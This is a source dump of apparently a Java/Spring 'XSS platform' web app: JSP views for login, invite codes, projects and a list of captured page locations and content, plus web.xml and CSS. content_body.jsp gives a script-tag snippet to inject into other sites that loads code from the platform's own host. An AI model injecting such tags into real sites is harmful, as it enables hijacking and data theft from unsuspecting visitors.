-------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-context-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-context-support-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-context-support-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-core-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-core-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-expression-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-expression-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-instrument-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-instrument-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-instrument-tomcat-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-instrument-tomcat-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-jdbc-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-jdbc-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-jms-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-jms-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-orm-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-orm-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-oxm-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-oxm-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-test-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-test-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-tx-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-tx-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-web-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-web-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-webmvc-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-webmvc-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-webmvc-portlet-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-webmvc-portlet-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/adminlogin.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 登录 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 | 19 | 20 | 23 | 36 |
37 |
38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/content.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Content 7 | 8 | 9 | 10 | 26 | 27 | 28 | 29 | 30 | 31 |
32 | 33 | 34 | 35 | 36 | 37 | 38 |
39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/content_body.jsp: -------------------------------------------------------------------------------- 1 | <%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %> 2 | <% 3 | String path = request.getContextPath(); 4 | String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 5 | %> 6 |
7 |
内容列表
8 |
    9 |
  1. 首页 10 |
  2. 11 |
  3. 内容列表
  4. 12 |
13 | 14 |
15 |
16 |

17 | 使用方式 18 |

19 |

20 | 提示: <script src="<%=basePath%>i.x?pid=<%=Integer.parseInt(request.getParameter("pid"))%>"></script> 21 |

22 |
23 |
24 | 25 | 26 |
27 |
28 |
29 | 内容列表 30 |
31 | 32 | 33 | 34 |
35 |
36 |
37 |
38 |
39 |
40 | 41 | 42 |
43 |
44 |
45 | 46 | 47 |
48 |
49 |
50 |
51 | 52 | 53 | 54 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 71 | 72 | 74 | 75 | 76 | 88 | 89 | 90 | 91 | 92 | 93 |
56 | 编号地址内容时间操作
70 | ${content.cid }${content.location } 73 | ${content.content }${content.date } 77 |
78 |
79 | 80 | 86 |
87 |
94 |
95 | 96 |
97 |
    98 | <%String pid = request.getParameter("pid"); %> 99 |
  • « 100 |
  • 101 | <% 102 | int tpage = (Integer) request.getAttribute("tpage"); 103 | for(int num = 1 ; num<=tpage ; num++){ 104 | %> 105 |
  • <%=num %> 106 |
  • 107 | <%} %> 108 |
  • » 109 |
  • 110 |
111 |
112 |
113 |
114 | 115 |
116 |
117 | 118 |
119 |
120 |
121 |
122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 |
-------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/head.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | String path = request.getContextPath(); 3 | String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 4 | %> 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/header.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | String path = request.getContextPath(); 3 | String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 4 | %> 5 |
6 |
7 | 10 |
11 |
12 | 13 |
14 | 15 | 16 | 17 |
18 | 19 | 34 |
35 |
-------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/invite.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Invite 7 | 8 | 9 | 10 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 | 32 | 33 | 34 |
35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/invite_body.jsp: -------------------------------------------------------------------------------- 1 | <%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %> 2 |
3 |
邀请码
4 |
    5 |
  1. 首页 6 |
  2. 7 |
  3. 邀请码
  4. 8 |
9 | 10 |
11 |
12 |
13 | 已使用的邀请码 14 |
15 | 16 | 17 | 18 |
19 |
20 |
21 |
22 |
23 |
24 | 29 | 30 |
31 |
32 |
33 | 34 | 35 |
36 |
37 |
38 |
39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 |
编号邀请码是否使用创建日期
${invite.id }${invite.invitecode } 57 | 未使用${invite.credate }
66 | 67 |
68 | 69 |
70 |
71 | 72 |
73 |
74 |
75 |
76 | 77 |
78 |
79 |
80 | 未使用的邀请码 81 |
82 | 83 | 84 | 85 |
86 |
87 |
88 |
89 |
90 |
91 | 92 | 93 |
94 |
95 |
96 | 97 | 98 |
99 |
100 |
101 |
102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 |
编号邀请码是否使用创建日期
${invite.id }${invite.invitecode } 120 | 已使用${invite.credate }
130 | 131 |
132 | 133 |
134 |
135 | 136 |
137 |
138 |
139 |
140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 |
-------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/login.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Login 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 | 19 | 20 | 23 | 36 |
37 |
38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/menu.jsp: -------------------------------------------------------------------------------- 1 | 
2 |
3 | 菜单列表 4 |
5 |
6 | 27 |
28 |
-------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/project.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Project 7 | 8 | 9 | 10 | 34 | 35 | 36 | 37 | 38 | 39 |
40 | 41 | 42 | 43 | 44 | 45 | 46 |
47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/project_body.jsp: -------------------------------------------------------------------------------- 1 | <%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %> 2 |
3 |
项目列表
4 |
    5 |
  1. 首页 6 |
  2. 7 |
  3. 项目列表
  4. 8 |
9 |
10 |
11 |
12 | 列表 13 |
14 | 15 | 16 | 17 |
18 |
19 |
20 |
21 |
22 |
23 | 28 | 29 |
30 |
31 |
32 | 33 | 34 |
35 |
36 |
37 |
38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 58 | 59 | 60 | 77 | 78 | 79 | 80 | 81 | 82 |
编号标题项目简介创建日期操作
${project.pid }${project.pname } 57 | ${project.pdescription }${project.createdate } 61 |
62 |
63 | 69 | 75 |
76 |
83 | 84 |
85 | 86 |
87 |
88 | 89 |
90 |
91 |
92 |
93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 |
-------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/projectadd.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Project Add 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/projectadd_body.jsp: -------------------------------------------------------------------------------- 1 | 
2 |
项目添加
3 |
    4 |
  1. 首页
  2. 5 | 6 |
  3. 项目添加
  4. 7 |
8 |
9 |
10 |
11 | 添加
12 | 13 | 14 | 15 |
16 |
17 | 18 |
19 | 20 | 21 |
22 |
23 |
24 | 25 |
26 | 27 | 28 |
29 |
30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
40 | 41 |
42 | 43 | 44 |
45 |
46 | 47 |
48 |
49 | 50 |
51 |
52 |
53 |
54 |
55 |
56 | 57 |
58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 |
-------------------------------------------------------------------------------- /WebRoot/WEB-INF/view/register.jsp: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Register 6 | 7 | 8 | 9 | 39 | 40 | 41 |
42 |
43 | 49 | 50 | 53 | 72 |
73 |
74 | 75 | 76 | 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | 10 | 11 | myEncodingFilter 12 | org.blue.xss.util.EncodingFilter 13 | 14 | 15 | myEncodingFilter 16 | /* 17 | 18 | 19 | 20 | IndexController 21 | org.blue.xss.controller.IndexController 22 | 23 | 24 | IndexController 25 | /index 26 | 27 | 28 | 29 | springMVC 30 | org.springframework.web.servlet.DispatcherServlet 31 | 32 | contextConfigLocation 33 | classpath:config/spring-mvc.xml 34 | 35 | 36 | 37 | 38 | 39 | springMVC 40 | *.x 41 | 42 | 43 | 44 | 45 | 46 | 47 | org.springframework.web.context.ContextLoaderListener 48 | 49 | 50 | contextConfigLocation 51 | classpath:config/spring-mybatis.xml 52 | 53 | 54 | index 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /WebRoot/assets/css/admin.css: -------------------------------------------------------------------------------- 1 | /** 2 | * admin.css 3 | */ 4 | 5 | 6 | /* 7 | fixed-layout 固定头部和边栏布局 8 | */ 9 | 10 | html, 11 | body { 12 | height: 100%; 13 | overflow: hidden; 14 | } 15 | 16 | ul { 17 | margin-top: 0; 18 | } 19 | 20 | .admin-icon-yellow { 21 | color: #ffbe40; 22 | } 23 | 24 | .admin-header { 25 | position: fixed; 26 | top: 0; 27 | left: 0; 28 | right: 0; 29 | z-index: 1500; 30 | font-size: 1.4rem; 31 | margin-bottom: 0; 32 | } 33 | 34 | .admin-header-list a:hover :after { 35 | content: none; 36 | } 37 | 38 | .admin-main { 39 | position: relative; 40 | height: 100%; 41 | padding-top: 51px; 42 | background: #f3f3f3; 43 | } 44 | 45 | .admin-menu { 46 | position: fixed; 47 | z-index: 10; 48 | bottom: 30px; 49 | right: 20px; 50 | } 51 | 52 | .admin-sidebar { 53 | width: 260px; 54 | min-height: 100%; 55 | float: left; 56 | border-right: 1px solid #cecece; 57 | } 58 | 59 | .admin-sidebar.am-active { 60 | z-index: 1600; 61 | } 62 | 63 | .admin-sidebar-list { 64 | margin-bottom: 0; 65 | } 66 | 67 | .admin-sidebar-list li a { 68 | color: #5c5c5c; 69 | padding-left: 24px; 70 | } 71 | 72 | .admin-sidebar-list li:first-child { 73 | border-top: none; 74 | } 75 | 76 | .admin-sidebar-sub { 77 | margin-top: 0; 78 | margin-bottom: 0; 79 | box-shadow: 0 16px 8px -15px #e2e2e2 inset; 80 | background: #ececec; 81 | padding-left: 24px; 82 | } 83 | 84 | .admin-sidebar-sub li:first-child { 85 | border-top: 1px solid #dedede; 86 | } 87 | 88 | .admin-sidebar-panel { 89 | margin: 10px; 90 | } 91 | 92 | .admin-content { 93 | display: -webkit-box; 94 | display: -webkit-flex; 95 | display: -ms-flexbox; 96 | display: flex; 97 | -webkit-box-orient: vertical; 98 | -webkit-box-direction: normal; 99 | -webkit-flex-direction: column; 100 | -ms-flex-direction: column; 101 | flex-direction: column; 102 | background: #fff; 103 | } 104 | 105 | .admin-content, 106 | .admin-sidebar { 107 | height: 100%; 108 | overflow-x: hidden; 109 | overflow-y: scroll; 110 | -webkit-overflow-scrolling: touch; 111 | } 112 | 113 | .admin-content-body { 114 | -webkit-box-flex: 1; 115 | -webkit-flex: 1 0 auto; 116 | -ms-flex: 1 0 auto; 117 | flex: 1 0 auto; 118 | } 119 | 120 | .admin-content-footer { 121 | font-size: 85%; 122 | color: #777; 123 | } 124 | 125 | .admin-content-list { 126 | border: 1px solid #e9ecf1; 127 | margin-top: 0; 128 | } 129 | 130 | .admin-content-list li { 131 | border: 1px solid #e9ecf1; 132 | border-width: 0 1px; 133 | margin-left: -1px; 134 | } 135 | 136 | .admin-content-list li:first-child { 137 | border-left: none; 138 | } 139 | 140 | .admin-content-list li:last-child { 141 | border-right: none; 142 | } 143 | 144 | .admin-content-table a { 145 | color: #535353; 146 | } 147 | .admin-content-file { 148 | margin-bottom: 0; 149 | color: #666; 150 | } 151 | 152 | .admin-content-file p { 153 | margin: 0 0 5px 0; 154 | font-size: 1.4rem; 155 | } 156 | 157 | .admin-content-file li { 158 | padding: 10px 0; 159 | } 160 | 161 | .admin-content-file li:first-child { 162 | border-top: none; 163 | } 164 | 165 | .admin-content-file li:last-child { 166 | border-bottom: none; 167 | } 168 | 169 | .admin-content-file li .am-progress { 170 | margin-bottom: 4px; 171 | } 172 | 173 | .admin-content-file li .am-progress-bar { 174 | line-height: 14px; 175 | } 176 | 177 | .admin-content-task { 178 | margin-bottom: 0; 179 | } 180 | 181 | .admin-content-task li { 182 | padding: 5px 0; 183 | border-color: #eee; 184 | } 185 | 186 | .admin-content-task li:first-child { 187 | border-top: none; 188 | } 189 | 190 | .admin-content-task li:last-child { 191 | border-bottom: none; 192 | } 193 | 194 | .admin-task-meta { 195 | font-size: 1.2rem; 196 | color: #999; 197 | } 198 | 199 | .admin-task-bd { 200 | font-size: 1.4rem; 201 | margin-bottom: 5px; 202 | } 203 | 204 | .admin-content-comment { 205 | margin-bottom: 0; 206 | } 207 | 208 | .admin-content-comment .am-comment-bd { 209 | font-size: 1.4rem; 210 | } 211 | 212 | .admin-content-pagination { 213 | margin-bottom: 0; 214 | } 215 | .admin-content-pagination li a { 216 | padding: 4px 8px; 217 | } 218 | 219 | @media only screen and (min-width: 641px) { 220 | .admin-sidebar { 221 | display: block; 222 | position: static; 223 | background: none; 224 | } 225 | 226 | .admin-offcanvas-bar { 227 | position: static; 228 | width: auto; 229 | background: none; 230 | -webkit-transform: translate3d(0, 0, 0); 231 | -ms-transform: translate3d(0, 0, 0); 232 | transform: translate3d(0, 0, 0); 233 | overflow-y: visible; 234 | min-height: 100%; 235 | } 236 | .admin-offcanvas-bar:after { 237 | content: none; 238 | } 239 | } 240 | 241 | @media only screen and (max-width: 640px) { 242 | .admin-sidebar { 243 | width: inherit; 244 | } 245 | 246 | .admin-offcanvas-bar { 247 | background: #f3f3f3; 248 | } 249 | 250 | .admin-offcanvas-bar:after { 251 | background: #BABABA; 252 | } 253 | 254 | .admin-sidebar-list a:hover, .admin-sidebar-list a:active{ 255 | -webkit-transition: background-color .3s ease; 256 | -moz-transition: background-color .3s ease; 257 | -ms-transition: background-color .3s ease; 258 | -o-transition: background-color .3s ease; 259 | transition: background-color .3s ease; 260 | background: #E4E4E4; 261 | } 262 | 263 | .admin-content-list li { 264 | padding: 10px; 265 | border-width: 1px 0; 266 | margin-top: -1px; 267 | } 268 | 269 | .admin-content-list li:first-child { 270 | border-top: none; 271 | } 272 | 273 | .admin-content-list li:last-child { 274 | border-bottom: none; 275 | } 276 | 277 | .admin-form-text { 278 | text-align: left !important; 279 | } 280 | 281 | } 282 | 283 | /* 284 | * user.html css 285 | */ 286 | .user-info { 287 | margin-bottom: 15px; 288 | } 289 | 290 | .user-info .am-progress { 291 | margin-bottom: 4px; 292 | } 293 | 294 | .user-info p { 295 | margin: 5px; 296 | } 297 | 298 | .user-info-order { 299 | font-size: 1.4rem; 300 | } 301 | 302 | /* 303 | * errorLog.html css 304 | */ 305 | 306 | .error-log .am-pre-scrollable { 307 | max-height: 40rem; 308 | } 309 | 310 | /* 311 | * table.html css 312 | */ 313 | 314 | .table-main { 315 | font-size: 1.4rem; 316 | padding: .5rem; 317 | } 318 | 319 | .table-main button { 320 | background: #fff; 321 | } 322 | 323 | .table-check { 324 | width: 30px; 325 | } 326 | 327 | .table-id { 328 | width: 50px; 329 | } 330 | 331 | @media only screen and (max-width: 640px) { 332 | .table-select { 333 | margin-top: 10px; 334 | margin-left: 5px; 335 | } 336 | } 337 | 338 | /* 339 | gallery.html css 340 | */ 341 | 342 | .gallery-list li { 343 | padding: 10px; 344 | } 345 | 346 | .gallery-list a { 347 | color: #666; 348 | } 349 | 350 | .gallery-list a:hover { 351 | color: #3bb4f2; 352 | } 353 | 354 | .gallery-title { 355 | margin-top: 6px; 356 | font-size: 1.4rem; 357 | } 358 | 359 | .gallery-desc { 360 | font-size: 1.2rem; 361 | margin-top: 4px; 362 | } 363 | 364 | /* 365 | 404.html css 366 | */ 367 | 368 | .page-404 { 369 | background: #fff; 370 | border: none; 371 | width: 200px; 372 | margin: 0 auto; 373 | } 374 | -------------------------------------------------------------------------------- /WebRoot/assets/css/app.css: -------------------------------------------------------------------------------- 1 | /* Write your styles */ 2 | 3 | html, 4 | body { 5 | background: #e9ecf3; 6 | overflow: inherit; 7 | } 8 | 9 | ul, 10 | li { 11 | margin: 0; 12 | padding: 0; 13 | list-style: none; 14 | } 15 | 16 | input { 17 | border: none; 18 | } 19 | 20 | a { 21 | color: #337ab7; 22 | } 23 | 24 | a:hover { 25 | cursor: pointer; 26 | color: #23527c; 27 | } 28 | 29 | .am-breadcrumb { 30 | padding: 0; 31 | margin-top: 10px; 32 | } 33 | 34 | .am-topbar-inverse { 35 | background: #fff; 36 | border-color: #e9ecf3; 37 | } 38 | 39 | .am-topbar-brand { 40 | color: #337ab7; 41 | margin-right: 20px; 42 | } 43 | 44 | .am-topbar-brand { 45 | height: 75px; 46 | line-height: 75px; 47 | } 48 | 49 | .am-topbar { 50 | min-height: 75px; 51 | line-height: 75px; 52 | } 53 | 54 | .am-topbar-inverse .am-topbar-nav>li>a { 55 | height: 75px; 56 | line-height: 75px; 57 | padding: 0 12px; 58 | } 59 | 60 | .am-topbar-inverse .am-topbar-nav>li>a:focus, 61 | .am-topbar-inverse .am-topbar-nav>li>a:hover { 62 | background: none; 63 | color: initial; 64 | } 65 | 66 | .am-topbar-inverse .am-topbar-nav>li>a:after { 67 | border-bottom: none; 68 | } 69 | 70 | .am-topbar-inverse .am-topbar-nav>li>a:focus:after, 71 | .am-topbar-inverse .am-topbar-nav>li>a:hover:after { 72 | border-bottom: none; 73 | } 74 | 75 | .am-topbar-inverse .am-topbar-nav>li>a {} 76 | 77 | .am-nav-pills>li+li { 78 | margin-left: 0; 79 | } 80 | 81 | .am-topbar-inverse .am-topbar-nav>li.am-active>a, 82 | .am-topbar-inverse .am-topbar-nav>li.am-active>a:focus, 83 | .am-topbar-inverse .am-topbar-nav>li.am-active>a:hover { 84 | background-color: #f9fafc; 85 | } 86 | 87 | ul.am-dropdown-content>li>a:focus, 88 | ul.am-dropdown-content>li>a:hover { 89 | background: none; 90 | } 91 | 92 | ul.am-dropdown-content>li>a { 93 | color: #96a5aa; 94 | padding: 12px 8px 12px 18px; 95 | white-space: initial; 96 | font-size: 12px; 97 | display: table-cell; 98 | } 99 | 100 | .admin-sidebar-list li a { 101 | color: #485a6a; 102 | font-size: 14px; 103 | } 104 | 105 | .tpl-color-success { 106 | color: #36c6d3; 107 | } 108 | 109 | .tpl-color-danger { 110 | color: #ed6b75; 111 | } 112 | 113 | .tpl-color-warning { 114 | color: #F1C40F; 115 | } 116 | 117 | .tpl-color-primary { 118 | color: #8E44AD; 119 | } 120 | 121 | .tpl-badge-success { 122 | background-color: #36c6d3!important; 123 | } 124 | 125 | .tpl-badge-danger { 126 | background-color: #ed6b75!important; 127 | } 128 | 129 | .tpl-badge-warning { 130 | background-color: #F1C40F!important; 131 | } 132 | 133 | .tpl-badge-primary { 134 | background-color: #8E44AD!important; 135 | } 136 | 137 | .tpl-header-list li { 138 | color: #999; 139 | border-bottom: 1px solid #F1F4F7; 140 | } 141 | 142 | .tpl-header-list li:last-child { 143 | border-bottom: none; 144 | } 145 | 146 | .tpl-header-list li:hover { 147 | background: #f9fafc; 148 | } 149 | 150 | .tpl-header-list-link { 151 | color: #999!important; 152 | } 153 | 154 | .tpl-header-list-user-nick { 155 | color: #7FB0DA; 156 | } 157 | 158 | .tpl-header-list-user-nick { 159 | color: #7FB0DA; 160 | } 161 | 162 | .tpl-header-list-user-ico img { 163 | margin-left: 5px; 164 | margin-top: -4px; 165 | height: 39px; 166 | display: inline-block; 167 | border-radius: 50%; 168 | } 169 | 170 | .tpl-header-list-ico-out-size { 171 | font-size: 16px; 172 | } 173 | 174 | ul.tpl-dropdown-content { 175 | width: 260px; 176 | padding: 8px; 177 | } 178 | 179 | ul.tpl-dropdown-content li>a.tpl-dropdown-content-message { 180 | padding: 16px 12px; 181 | display: block; 182 | border-bottom: 1px solid #F1F4F7; 183 | } 184 | 185 | ul.tpl-dropdown-content li>a.tpl-dropdown-content-message:last-child { 186 | border-bottom: none; 187 | } 188 | 189 | .tpl-dropdown-content-photo { 190 | float: left; 191 | margin: 0 6px 6px 0; 192 | } 193 | 194 | .tpl-dropdown-content-photo img { 195 | height: 40px; 196 | width: 40px; 197 | -webkit-border-radius: 50%!important; 198 | -moz-border-radius: 50%!important; 199 | -ms-border-radius: 50%!important; 200 | -o-border-radius: 50%!important; 201 | border-radius: 50%!important; 202 | } 203 | 204 | .tpl-dropdown-content-subject { 205 | display: block; 206 | margin-left: 46px; 207 | } 208 | 209 | .tpl-dropdown-content-external { 210 | display: block; 211 | overflow: hidden; 212 | padding: 10px; 213 | letter-spacing: .5px; 214 | border-bottom: 1px solid #F1F4F7; 215 | } 216 | 217 | .tpl-dropdown-content-external a { 218 | padding: 0!important; 219 | display: block!important; 220 | float: right; 221 | clear: none!important; 222 | } 223 | 224 | .tpl-dropdown-content-external h3 { 225 | margin: 0; 226 | padding: 0; 227 | font-size: 13px; 228 | color: #96a5aa; 229 | font-weight: normal; 230 | /*display: inline-block;*/ 231 | float: left; 232 | } 233 | 234 | .tpl-dropdown-content-external h3 span { 235 | font-weight: 600; 236 | font-size: 16px; 237 | } 238 | 239 | .tpl-dropdown-content-from { 240 | font-size: 13px; 241 | font-weight: 600; 242 | } 243 | 244 | .tpl-dropdown-content-time { 245 | font-size: 12px; 246 | font-weight: 400; 247 | opacity: .5; 248 | filter: alpha(opacity=50); 249 | float: right; 250 | } 251 | 252 | .tpl-dropdown-content-font { 253 | display: block!important; 254 | font-size: 12px; 255 | line-height: 22px; 256 | margin-left: 46px; 257 | } 258 | 259 | .tpl-dropdown-ico-btn-size { 260 | width: 18px; 261 | height: 18px; 262 | line-height: 18px; 263 | font-size: 8px; 264 | color: #fff; 265 | } 266 | 267 | .tpl-dropdown-list-fl { 268 | width: 70%; 269 | position: relative; 270 | } 271 | 272 | .tpl-dropdown-list-fr { 273 | width: 30%; 274 | display: table-cell; 275 | font-size: 12px; 276 | text-align: right; 277 | line-height: initial; 278 | vertical-align: middle; 279 | padding-right: 20px; 280 | } 281 | 282 | .tpl-dropdown-list-bdbc { 283 | border-bottom: 1px solid #F1F4F7; 284 | } 285 | 286 | .tpl-dropdown-list-bdbc:last-child { 287 | border-bottom: none; 288 | } 289 | 290 | .tpl-logo { 291 | display: inline-block; 292 | vertical-align: middle; 293 | margin-top: -5px; 294 | padding-left: 18px; 295 | width: 160px; 296 | } 297 | 298 | .tpl-logo img { 299 | display: block; 300 | width: 100%; 301 | } 302 | 303 | .tpl-dropdown-content .task { 304 | margin-bottom: 5px; 305 | } 306 | 307 | .tpl-dropdown-content .desc { 308 | font-size: 13px; 309 | font-weight: 300; 310 | } 311 | 312 | .tpl-dropdown-content .percent { 313 | float: right; 314 | font-weight: 600; 315 | display: inline-block; 316 | } 317 | 318 | .tpl-dropdown-content-progress { 319 | display: block!important; 320 | } 321 | 322 | .tpl-dropdown-content .progress { 323 | display: block; 324 | background-color: #f5f5f5; 325 | margin: 8px 0 2px; 326 | } 327 | 328 | .tpl-progress { 329 | height: 16px; 330 | margin-bottom: 0; 331 | } 332 | 333 | .tpl-dropdown-content .progress-bar { 334 | float: left; 335 | width: 0%; 336 | height: 100%; 337 | font-size: 12px; 338 | line-height: 20px; 339 | color: #fff; 340 | text-align: center; 341 | background-color: #337ab7; 342 | -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); 343 | box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); 344 | -webkit-transition: width 0.6s ease; 345 | -o-transition: width 0.6s ease; 346 | transition: width 0.6s ease; 347 | } 348 | 349 | .tpl-page-container { 350 | margin: 0; 351 | padding: 20px 20px 0; 352 | } 353 | 354 | .tpl-page-header-fixed { 355 | margin-top: 75px; 356 | } 357 | 358 | .tpl-navbar-collapse { 359 | width: 235px; 360 | float: left; 361 | background: #fff; 362 | border-radius: 6px; 363 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); 364 | padding-bottom: 20px; 365 | } 366 | 367 | .admin-offcanvas-bar { 368 | border-radius: 2px; 369 | overflow: hidden; 370 | } 371 | 372 | .tpl-page-container-nav-heading { 373 | height: 50px; 374 | padding: 25px 15px 10px; 375 | color: #5C9ACF; 376 | font-size: 13px; 377 | font-weight: 600; 378 | } 379 | 380 | .admin-sidebar-sub { 381 | background: none; 382 | padding-left: 0; 383 | } 384 | 385 | 